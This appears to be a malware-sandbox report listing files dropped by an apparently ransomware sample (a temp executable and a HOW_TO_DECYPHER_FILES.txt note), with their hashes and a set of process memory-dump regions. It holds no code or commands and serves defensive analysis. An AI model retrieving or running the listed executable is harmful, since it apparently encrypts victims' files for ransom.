C:\Users\Admin\AppData\Local\Temp\4hh2bj0x.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oywkr4wk.ibe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
03bdd04ea0a4abc7d1f20efda058c440

SHA1
0260ce4258bdbf051b949f2ccda27c8a68bdbf5a

SHA256
cd8c697f7e928fb211e5ed2cf993964e35685a02aa72071852b41f49af9e7cf6

SHA512
d953be7410c6f5a1e693cd7f0186f366b4a17519f864bd114a8e4b8d29e27deec12241f7f32651581309d1a4a7336799ae7aa4e27b3024b0df8a7e91a7657b41

Download Submit
memory/2532-0-0x0000000074A8E000-0x0000000074A8F000-memory.dmp

Filesize
4KB

Download
memory/2532-1-0x00000000009E0000-0x00000000009FC000-memory.dmp

Filesize
112KB

Download
memory/2532-2-0x0000000074A80000-0x0000000075231000-memory.dmp

Filesize
7.7MB

Download
memory/2532-179-0x0000000074A80000-0x0000000075231000-memory.dmp

Filesize
7.7MB

Download
memory/2532-8-0x0000000006AA0000-0x0000000006B06000-memory.dmp

Filesize
408KB

Download
memory/5092-62-0x00000000070C0000-0x0000000007164000-memory.dmp

Filesize
656KB

Download
memory/5092-66-0x0000000007400000-0x000000000741A000-memory.dmp

Filesize
104KB

Download
memory/5092-23-0x00000000060A0000-0x00000000060BE000-memory.dmp

Filesize
120KB

Download
memory/5092-24-0x00000000063A0000-0x00000000063EC000-memory.dmp

Filesize
304KB

Download
memory/5092-52-0x000000006F930000-0x000000006F97C000-memory.dmp

Filesize
304KB

Download
memory/5092-51-0x0000000007080000-0x00000000070B4000-memory.dmp

Filesize
208KB

Download
memory/5092-20-0x0000000005B00000-0x0000000005B66000-memory.dmp

Filesize
408KB

Download
memory/5092-61-0x0000000006690000-0x00000000066AE000-memory.dmp

Filesize
120KB

Download
memory/5092-65-0x0000000007A40000-0x00000000080BA000-memory.dmp

Filesize
6.5MB

Download
memory/5092-21-0x0000000005CC0000-0x0000000006017000-memory.dmp

Filesize
3.3MB

Download
memory/5092-67-0x0000000007480000-0x000000000748A000-memory.dmp

Filesize
40KB

Download
memory/5092-68-0x0000000007690000-0x0000000007726000-memory.dmp

Filesize
600KB

Download
memory/5092-69-0x0000000007610000-0x0000000007621000-memory.dmp

Filesize
68KB

Download
memory/5092-72-0x0000000007640000-0x000000000764E000-memory.dmp

Filesize
56KB

Download
memory/5092-74-0x0000000007650000-0x0000000007665000-memory.dmp

Filesize
84KB

Download
memory/5092-76-0x0000000007750000-0x000000000776A000-memory.dmp

Filesize
104KB

Download
memory/5092-81-0x0000000007740000-0x0000000007748000-memory.dmp

Filesize
32KB

Download
memory/5092-16-0x0000000005A60000-0x0000000005A82000-memory.dmp

Filesize
136KB

Download
memory/5092-3-0x00000000028D0000-0x0000000002906000-memory.dmp

Filesize
216KB

Download
memory/5092-4-0x0000000005390000-0x00000000059BA000-memory.dmp

Filesize
6.2MB

Download